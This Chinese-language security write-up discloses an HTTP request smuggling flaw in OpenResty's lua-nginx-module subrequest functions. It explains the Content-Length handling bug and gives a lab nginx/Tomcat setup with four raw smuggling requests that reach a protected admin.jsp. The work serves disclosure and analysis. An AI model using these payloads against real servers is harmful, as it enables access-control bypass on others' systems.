Author: UltramanGaia
漏洞简介
研究发现,openresty/lua-nginx-module的ngx.location.capture
指令和ngx.location.capture_multi
代码实现存在缺陷,在大多数情况下不能正确修改Content-Length
的值,会带来HTTP请求走私漏洞风险。
漏洞原因
openresty/lua-nginx-module
提供了ngx.location.capture
和ngx.location.capture_multi
指令用于发送子请求。当下,一种常见的用法如下,nginx+lua进行逻辑判断、认证授权,然后使用ngx.location.capture
结合proxy_pass
转发到后端服务。一般nginx与后端服务之间会采用复用TCP链接的方式来提高性能。
这里涉及到对于HTTP协议的实现差异问题,我们知道,协议规定,当http请求同时包含Content-Length
和Transfer-Encoding:chunked
时,应该忽略Content-Length
。
通过分析源码,可以知道在大多数情况下,攻击者可以构造请求包,使lua-nginx-module
发出的子请求的Content-Length
值错误,从而导致HTTP请求走私漏洞。
C代码流程
ngx_http_lua_contentby.c:ngx_http_lua_content_handler
ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture
ngx_http_lua_subrequest.c:ngx_http_lua_ngx_location_capture_multi
ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest
ngx_http_lua_subrequest.c:ngx_http_lua_adjust_subrequest
函数中有个重要功能为修正Content-Length
,它是通过调用ngx_http_lua_set_content_length_header
函数实现的。
代码如上面截图,第一种请求会根据body重新计算Content-Length
,第二种情况会设置Conent-Length
为0
,而第三种情况则不会修改Content-Length
,这里存在问题。
漏洞演示
openresty 1.15.8.2 + tomcat
nginx.conf配置如下
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
keepalive_timeout 65;
upstream backend{
server 192.168.83.1:8080;
keepalive 32;
}
server {
listen 8081;
server_name localhost;
location / {
root html;
index index.html index.htm;
}
location /test1 {
content_by_lua_block {
res = ngx.location.capture('/backend')
ngx.print(res.body)
}
}
location /test2 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
ngx.print(res.body)
}
}
location /test3 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
ngx.print(res.body)
}
}
location /test4 {
content_by_lua_block {
ngx.req.read_body();
local data = ngx.req.get_body_data()
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
ngx.print(res.body)
}
}
location /backend {
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_pass http://backend/user.jsp;
}
}
}
tomcat作为后端服务器,部署两个页面user.jsp
和admin.jsp
。
user.jsp
<%
out.println("Your are normal user, method=" + request.getMethod());
%>
admin.jsp
<%
out.println("Your are Admin, method=" + request.getMethod());
%>
设计上,通过Openresty将user.jsp暴露给外部,而防止外部访问admin.jsp。
利用请求走私漏洞,我们可以绕过该限制。
test1
location /test1 {
content_by_lua_block {
res = ngx.location.capture('/backend')
ngx.print(res.body)
}
}
这种请求方式,会到达第三种请求,导致Content-Length
未被正确设置,可以构造如下请求包进行攻击
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
这是与后端进行交互的请求包
test2
location /test2 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST})
ngx.print(res.body)
}
}
POST子请求,如果未指定body,且always_forward_body为false(默认),我们可以构造如下请求包,到达第三种情况
GET /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked
0
POST /test2 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
hello
这是与后端进行交互的请求包
test3
location /test3 {
content_by_lua_block {
ngx.req.read_body();
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, always_forward_body=true})
ngx.print(res.body)
}
}
test3未显式设置body,使用always_forward_body,可以发送如下报文进行攻击
GET /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked
0
POST /test3 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
hello
后端请求报文
test4
location /test4 {
content_by_lua_block {
ngx.req.read_body();
local data = ngx.req.get_body_data()
res = ngx.location.capture('/backend', {method=ngx.HTTP_POST, body=data, always_forward_body=true})
ngx.print(res.body)
}
}
test4尝试通过ngx.req.get_body_data()
获取数据,然后显示赋值给body,我们可以利用Transfer-Encoding: chunked,设置长度为0,导致ngx.req.get_body_data()
返回值为nil,从而发起攻击,报文如下
GET /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 112
Transfer-Encoding: chunked
0
POST /test4 HTTP/1.1
Host: 192.168.83.196:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
POST /admin.jsp HTTP/1.1
Host: 192.168.83.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
hello
后端请求报文
参考资料:
请求走私漏洞还有多种利用方式,详情请参考如下链接
https://portswigger.net/web-security/request-smuggling/exploiting
修复补丁
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com